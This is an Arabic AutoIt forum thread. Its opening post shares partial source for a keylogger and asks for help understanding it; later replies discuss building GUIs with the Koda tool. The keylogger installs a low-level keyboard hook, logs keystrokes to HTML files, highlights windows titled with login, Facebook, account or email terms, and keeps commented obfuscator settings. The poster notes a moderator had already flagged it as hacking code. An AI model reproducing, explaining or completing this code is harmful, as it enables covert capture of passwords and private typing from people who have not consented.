موضوع خاص لدعــم الـ AutoIt -- افكار ؛ مشاريع ؛ سورسات ؛ اسئله ؛ نقاشات ...... الخ

لدي كود لبرنامج تسجيل ما يكتبه الكومبيونر
واحاول ان اجعل منه برنامج لتأمين حواسب المديرين بحيث يرسل لهم تقرير كل نصف ساعة على موقع خاص بهم يستطيعو فتحه من اجهزتهم المحمولة بحيث يخبرهم ان كان هناك من عبث باجهزتهم اثناء غيابهم ويعطيهم تقرير عن قيام الجهاز باتمام مهام معينية يتركو الجهاز يؤديها اثناء غيابهم
هذه فكرة البرنامج الذي اريد صنعه
لكني عندما وضعت الكود اخبرني مشرف انني لا استطيع وضع كود للاختراق وانه ممنوع فهل اجد احد استطيع وضع الكود له هنا او يكلمني على الخاص للمساعدة
انا لا اريد ان ان يقوم احد بعمل البرنامج لي كل ما اريده هو شرح لبعض الخطوات التي لم افهمها في الكود وان كان هناك اي افكار فانا ارحب بها دائما
هذا كل الامر
 
الكود ده اول جزء من كود عندي لبرنامج بس مش فاهمه

كود:
 #AutoIt3Wrapper_Change2CUI=y
    #AutoIt3Wrapper_Au3Check_Parameters=-d -w 1 -w 2 -w 3 -w 4 -w 5 -w 6
    ;~ #AutoIt3Wrapper_Run_Obfuscator=y
    ;~ #Obfuscator_Parameters=/om
    ;~ #Obfuscator_Parameters=/so
     
    #include <File.au3>
    #include<winapi.au3>
    #include<process.au3>
    ;#include'Splash.au3'
     
    Opt("MustDeclareVars", 1)
    OnAutoItExitRegister("ONAUTOITEXIT")
     
    Global $HHOOK, $HSTUB_KEYPROC, $BUFFER = "", $Log, _
                    $CAPS, $NLOCK, $SHIFT = False, $Style, $DATA, _
                    $TO = WinGetTitle(""), $T = $TO, $HOST = _ProcessGetName(WinGetProcess(""))
     
    _MAIN()
     
    Func _MAIN()
            ;_SplashScreen("Testing Version", "Key Logger", "test0", "test1", 3, 400, 200, 0xff240d)
     
            Local $HMOD, $_RET = DllCall("user32.dll", "long", "GetKeyState", "long", 20), $RET = DllCall("user32.dll", "long", "GetKeyState", "long", 144), _
                            $Time = 0, $HSTUB_KEYPROC = DllCallbackRegister("_KeyProc", "long", "int;wparam;lparam")
     
            $HMOD = _WinAPI_GetModuleHandle(0)
            $HHOOK = _WinAPI_SetWindowsHookEx($WH_KEYBOARD_LL, DllCallbackGetPtr($HSTUB_KEYPROC), $HMOD)
     
            $NLOCK = $RET[0]
            $CAPS = $_RET[0]
     
            _DirectorySet()
            $Log = @ScriptDir & '\KeyLogs\KeyData-('&@WDAY&")"&@HOUR&"-"&@MIN&"-"&@SEC&'.html'
            Local $F = FileOpen($Log, 2)
            if @error Then MsgBox(0,"","")
            FileWrite($F, _HTML(1))
            FileClose($F)
     
            #Region -MainLoop-
     
            While Sleep(1000)
                    If ($Time > 300) Then Exit ; Timer
                    $Time += 1
                    $T = WinGetTitle("")
                    If Not StringCompare($T, $TO) = 0 Then
                            If _AddData() = 1 Then
                                    $TO = $T
                                    $BUFFER = ""
                                    $HOST = _ProcessGetName(WinGetProcess($T))
                            EndIf
                    EndIf
            WEnd
            #EndRegion -MainLoop-
            Return 1
    EndFunc   ;==>_MAIN
     
    Func _AddData(); this function needs improvements
            If $BUFFER = "" Or StringLen($BUFFER) < 6 Then Return 0
            Local $F = FileOpen($Log, 1)
     
            #Region -HTML HIGHLIGHTS
     
            If StringInStr($TO, "Log In") Then
                    $Style = "RED"
            ElseIf StringInStr($TO, "FaceBook") Then
                    $Style = "BLUE"
            ElseIf StringInStr($TO, "Accounts") Then
                    $Style = "YELLOW"
            ElseIf StringInStr($TO, "email") Or StringInStr($TO, "e-mail") Or StringInStr($TO, "e mail") Then
                    $Style = "PINK"
            Else
                    $Style = "SILVER"
            EndIf
            #EndRegion -HTML HIGHLIGHTS
     
            FileWrite($F, _HTML(2))
            FileClose($F)
            ;MsgBox(0,"","")
            Return 1
     
    EndFunc   ;==>_AddData
     
    #Region -HTML-
ممكن حد يوضح لي الحاجات الاساسية اللي فيه ؟
 
توقيع : شاجع

.: Mr.Ali :., لا تملك تصريح بدخول هذه الصفحة. قد يكون هذا أحد الأسباب التالية وربما بسبب آخر:

  1. حسابك قد لا يكون فيه إمتيازات كافية لدخول هذه الصفحة. هل تحاول تعديل رسالة عضو آخر, دخول ميزات إدارية أو نظام متميز آخر؟
  2. إذا كنت تحاول المشاركة, ربما قامت الإدارة بحظر حسابك, أو لا يزال حسابك بإنتظار موافقة الإدارة.

:i:
 
توقيع : .: Mr.Ali :.
ياليت هالموضوع يعود نشيط مرة اخرى ........
 
توقيع : MR.Avira
.: Mr.Ali :., لا تملك تصريح بدخول هذه الصفحة. قد يكون هذا أحد الأسباب التالية وربما بسبب آخر:

  1. حسابك قد لا يكون فيه إمتيازات كافية لدخول هذه الصفحة. هل تحاول تعديل رسالة عضو آخر, دخول ميزات إدارية أو نظام متميز آخر؟
  2. إذا كنت تحاول المشاركة, ربما قامت الإدارة بحظر حسابك, أو لا يزال حسابك بإنتظار موافقة الإدارة.

:i:

الموضوع في أرشيف المنتدى كُنت أفكر الكل يطلع عليه :d:

المهم السؤال هو:

بسم الله الرحمن الرحيم

السلام عليكم ورحمة الله وبركاته

والله سؤال يدور في بالي منذ أن عرفت ماهو الـ Autoit
ولاكن لم يشأ الله أن أسئل السؤال في يومه...

سؤالي اليوم هو عن تصميم واجهة رسومية للتطبيقات...

عندي البرنامج محمله من الدوره هُنا
+ برنامج Koda
فماهو الشيء الذي ينقصني لأجل تصميم الواجهه

أريد شرح أدخال كود على زرمن خلال برنامج Koda
مثلاً هذه الرسالة

كود:
msgbox(0, "", "Welcome")

عندما يضغط على الزر تطلع له الرسالة

هذا هو المطلوب وبس
:b:
 
توقيع : شاجع
سهلة جدّاً يَ أخي
بس ما تدخله من برنامج الـ Koda مباشرة ، لا
الطريقة هي انك تأخذ كود الواجهة من برنامج Koda وتضعه في ملف autoit script ، ثمّ تقوم بكتابة الكود
شوف هذا الشرح الفلاشي ( أتمنّى يكون واضح ، اذا ما وضح خبّرني )

الشرح
لا إله إلا الله
 
توقيع : .: Mr.Ali :.
أبدعت أخي .: Mr.Ali :.

الله يوفقك ويجزاك خير الجزاء

يعني تكتب كلمة case قبل أختيار العنصر...

تقييم شخصي :kmj-by0000 (72):

عسى الجنه دارك ووالديك إن شاء الله
 
توقيع : شاجع
سلام عليكم لي فتره طويلة عن الاتوات وعن موضوعها :d:


المهم سابقاً قلت هذا الكلام وراح أعيده ..

أنا شايف من الخطأ الدخول لل GUI عن طريق أداه KODA مباشره ..

بداية إبدأ مع الكود عشان تعرف هذي كيف جت أو ليه وضعت الكود بالشكل ذا

فكر في البداية كيف أنشيء النافذة .. كيف أضيف العناصر لها

و كيف أتفاعل معها ..

في الاتوات بالتحديد كل شي يتم عن طريق الدوال فلو غيرنا الاسئلة اللي فوق بالشكل التالي

ماهي دالة إنشاء النافذة .. ماهي دوال الادوات اللي تضاف للنافذة ماهي الطريقة والدوال اللي تساعدني

في التفاعل مع النافذة

لو بدأت بهذا الشيء راح تتعلم أسرع وأوضح للفهم لك ,

أداه KODA أستخدمها فقط لسرعه الانجاز .. أما أداه تولد لي كود ما أدري وش سالفته هذا خطأ ..


أتمنى للجميع التوفيق
 
توقيع : waget
سلام عليكم لي فتره طويلة عن الاتوات وعن موضوعها :d:


المهم سابقاً قلت هذا الكلام وراح أعيده ..

أنا شايف من الخطأ الدخول لل GUI عن طريق أداه KODA مباشره ..

بداية إبدأ مع الكود عشان تعرف هذي كيف جت أو ليه وضعت الكود بالشكل ذا

فكر في البداية كيف أنشيء النافذة .. كيف أضيف العناصر لها

و كيف أتفاعل معها ..

في الاتوات بالتحديد كل شي يتم عن طريق الدوال فلو غيرنا الاسئلة اللي فوق بالشكل التالي

ماهي دالة إنشاء النافذة .. ماهي دوال الادوات اللي تضاف للنافذة ماهي الطريقة والدوال اللي تساعدني

في التفاعل مع النافذة

لو بدأت بهذا الشيء راح تتعلم أسرع وأوضح للفهم لك ,

أداه KODA أستخدمها فقط لسرعه الانجاز .. أما أداه تولد لي كود ما أدري وش سالفته هذا خطأ ..


أتمنى للجميع التوفيق
موضوع في الصميم

ما بالك بمن لا يعرف كيف تتم كتابة الأكواد في الاوتوات ...:i:

برنامج Koda يساعد المبتدئين كثير ,, ولا ننسى النضر في الدوال الناتجة من الأدة > تصميم الواجهه
حتى نعرف أكثر وأكثر " تحليل ذهني "

هل توافقني الرأي...!؟
 
توقيع : شاجع
موضوع في الصميم

ما بالك بمن لا يعرف كيف تتم كتابة الأكواد في الاوتوات ...:i:

برنامج Koda يساعد المبتدئين كثير ,, ولا ننسى النضر في الدوال الناتجة من الأدة > تصميم الواجهه
حتى نعرف أكثر وأكثر " تحليل ذهني "

هل توافقني الرأي...!؟

إذا لا يعرف لا يبدأ مباشره مع الGUI .. لا يتسعجل على روحه ..

إذا كتبت الكود بنفسك راح يكون قليل الاكواد فيه وواضح بالنسبه لك

مع الوقت لو إستخدمت Koda لواجهه عناصرها كثير ماراح يصعب عليك التعديل على العناصر أو الاضافه عليها

 
توقيع : waget


إذا لا يعرف لا يبدأ مباشره مع الGUI .. لا يتسعجل على روحه ..

إذا كتبت الكود بنفسك راح يكون قليل الاكواد فيه وواضح بالنسبه لك

مع الوقت لو إستخدمت Koda لواجهه عناصرها كثير ماراح يصعب عليك التعديل على العناصر أو الاضافه عليها

طيب ممكن تعطينا مثال لكيفية تصميم واجهه من خلال الدوال " للتوضيح "
+
ملف مفتوح إن أمكن
:king:
 
توقيع : شاجع
طيب ممكن تعطينا مثال لكيفية تصميم واجهه من خلال الدوال " للتوضيح "
+
ملف مفتوح إن أمكن
:king:

أبشر أخوي لكن غداً إن شاء الله :d:​
 
توقيع : waget
إن شاء الله
:smile:
 
توقيع : شاجع
سلام عليكم لي فتره طويلة عن الاتوات وعن موضوعها :d:


المهم سابقاً قلت هذا الكلام وراح أعيده ..

أنا شايف من الخطأ الدخول لل GUI عن طريق أداه KODA مباشره ..

بداية إبدأ مع الكود عشان تعرف هذي كيف جت أو ليه وضعت الكود بالشكل ذا

فكر في البداية كيف أنشيء النافذة .. كيف أضيف العناصر لها

و كيف أتفاعل معها ..

في الاتوات بالتحديد كل شي يتم عن طريق الدوال فلو غيرنا الاسئلة اللي فوق بالشكل التالي

ماهي دالة إنشاء النافذة .. ماهي دوال الادوات اللي تضاف للنافذة ماهي الطريقة والدوال اللي تساعدني

في التفاعل مع النافذة

لو بدأت بهذا الشيء راح تتعلم أسرع وأوضح للفهم لك ,

أداه KODA أستخدمها فقط لسرعه الانجاز .. أما أداه تولد لي كود ما أدري وش سالفته هذا خطأ ..


أتمنى للجميع التوفيق

أهلا وسهلاً أخي عبد الله
كلام سليم :ok:
 
توقيع : .: Mr.Ali :.
بعد إذن أخوي عبد الله
قمت بعمل ملف مفتوح لك ، مشروح فيه أهم أكواد الواجهة
طبعاً أكيد ننتظر أيضا كود أخي عبد الله
فأنا مبتدئ قد تجد أخطاء ، فاعذرني لأني مبتدأ
بس حبّيت أساعدك على قدر خبرتي

لتحميل الملف المفتوح
https://dl.dropbox.com/u/50827110/FORM.rar

وأي سؤال لا تتردد
 
توقيع : .: Mr.Ali :.
عودة
أعلى